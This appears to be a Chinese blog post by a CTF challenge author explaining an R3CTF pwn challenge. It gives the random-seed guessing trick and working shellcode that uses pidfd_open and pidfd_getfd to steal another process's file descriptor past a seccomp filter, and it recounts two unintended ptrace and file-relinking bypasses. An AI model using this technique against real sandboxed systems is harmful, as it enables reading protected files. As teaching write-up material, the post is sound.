序
本意只是一个小trick,但是限制不够完全导致被好几个师傅非预期了,最后四个解,师傅们实在太强了😭😭😭
思路
先用token生成一个独一无二文件夹,并将生成的flag和/dev/urandom
的内容读入新的文件中提供随机数,但是由于随机数文件只会在每次连接时更新,而在生成随机数的时候每次都会去读取新的随机数种子:
void play_game()
{
int seed;
int fd = open("/urandom", 0);
while (1)
{
read(fd, &seed, 4);
if (seed >> 28 != 0)
break;
}
close(fd);
srand(seed);
int randnum = rand() % 4;
puts("Number in my heart(0-3):🙂");
int guessnum = 0;
scanf("%d", &guessnum);
if (guessnum > 3 || guessnum < 0)
{
puts("Bad boy!🫠");
}
else if (guessnum == randnum)
{
puts("So clever~🤪");
mymoney = mymoney * 2;
writescore();
}
else
{
puts("NONONO!!!💩");
mymoney = mymoney >> 1;
writescore();
}
}
因此其实对于每一次连接;生成的随机数都是固定不变的,刚刚好有三次尝试机会才会把钱清空,相当于直接尝试出正确的随机数后直接连续发送该随机数就能实现将money值达到预期值触发后门。
后门部分是一个简单的shellcode,清空了所有寄存器并限制了所有的open相关的系统调用,只允许使用0x20字节的shellcode来实现orw。
这里解题的关键是我们需要知道sys_pidfd_open
和sys_pidfd_getfd
这两个系统调用:
NAME
pidfd_open - obtain a file descriptor that refers to a processSYNOPSIS
#include <sys/types.h>int pidfd_open(pid_t pid, unsigned int flags);
DESCRIPTION
The pidfd_open() system call creates a file descriptor that refers to the process whose PID is specified in pid. The file descriptor is returned as the function result; the close-on-exec
flag is set on the file descriptor.The flags argument is reserved for future use; currently, this argument must be specified as 0.
RETURN VALUE
On success, pidfd_open() returns a file descriptor (a nonnegative integer). On error, -1 is returned and errno is set to indicate the cause of the error.
NAME
pidfd_getfd - obtain a duplicate of another process's file descriptorSYNOPSIS
int pidfd_getfd(int pidfd, int targetfd, unsigned int flags);DESCRIPTION
The pidfd_getfd() system call allocates a new file descriptor in the calling process. This new file descriptor is a duplicate of an existing file descriptor, targetfd, in the process re‐
ferred to by the PID file descriptor pidfd.The duplicate file descriptor refers to the same open file description (see open(2)) as the original file descriptor in the process referred to by pidfd. The two file descriptors thus
share file status flags and file offset. Furthermore, operations on the underlying file object (for example, assigning an address to a socket object using bind(2)) can equally be performed
via the duplicate file descriptor.The close-on-exec flag (FD_CLOEXEC; see fcntl(2)) is set on the file descriptor returned by pidfd_getfd().
The flags argument is reserved for future use. Currently, it must be specified as 0.
Permission to duplicate another process's file descriptor is governed by a ptrace access mode PTRACE_MODE_ATTACH_REALCREDS check (see ptrace(2)).
RETURN VALUE
On success, pidfd_getfd() returns a file descriptor (a nonnegative integer). On error, -1 is returned and errno is set to indicate the cause of the error.
我们可以看到,这两个系统调用结合可以实现跨进程读取文件的效果,只需要知道另一个进程的进程pid以及需要读取的文件的文件描述符fd是多少,因此我构造了一个进程来实现这样一个文件管理器并将他的结果输出到help文件中:
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>_
#include <unistd.h>
#include <fcntl.h>
#define BUFFER_SIZE 1024
int main() {
int process_id = getpid();
printf("File Manager(ID: %d)\n", process_id);
const char *dirpath = "./myfiles";
DIR *dir = opendir(dirpath);
struct dirent *entry;
int fd;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == 8) {
char filepath[4096];
snprintf(filepath, sizeof(filepath), "%s/%s", dirpath, entry->d_name);
fd = open(filepath, 0);
printf("%d: %s\n", fd, entry->d_name);
}
}
closedir(dir);
fflush(stdout);
sleep(60);
return 0;
}
这样就可以直接通过这两个系统调用结合sendfile来读取文件即可:
shellcode = asm(f"""
mov di, {pid}
mov ax, 0x1b2
syscall
mov edi, eax
mov sil, 6
mov ax, 0x1b6
syscall
xchg eax, esi
mov dil, 1
xchg r10d, r11d
mov al, 0x28
syscall
""")
非预期
本意是选手看见open被禁用后去找还有什么open可以用就会找到这个:
434 common pidfd_open sys_pidfd_open 435 common clone3 sys_clone3 436 common close_range sys_close_range 437 common openat2 sys_openat2 438 common pidfd_getfd sys_pidfd_getfd
然后就能找到现成的poc:https://zhuanlan.zhihu.com/p/672314758
但是由于这两个系统调用要求docker开启--cap-add=SYS_PTRACE
才可以使用,而我在沙盒中忘了禁用ptrace系统调用,因此有师傅直接利用未清空的xmm寄存器获得了可写的地址并使用ptrace系统调用绕过了我的限制(太恐怖了🥹🥹🥹🥹)
还有一位师傅的非预期的方式是,由于我们在读取help文件时会打印出help文件中的内容并打印出flag的名字,同时他利用fs寄存器获得了ld地址,因此他直接将help文件删除并将flag文件链接到help文件,这样下一次读取help文件的时候就会读取flag文件并把flag打印出来,真是让人防不胜防啊🥲🥲🥲
小结
本意是给R3CTF出一个签到题供大家开心开心的🫠🫠🫠没想到有这么多师傅给我非了,下次一定完善。然后题目描述也没写的很清楚,导致有师傅没想到需要跨进程去读文件,这里给大伙磕一个呜呜呜🙇🙇🙇
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2024/07/05/r3ctf-tradingcenter-%e5%87%ba%e9%a2%98%e6%80%9d%e8%b7%af/
共有 0 条评论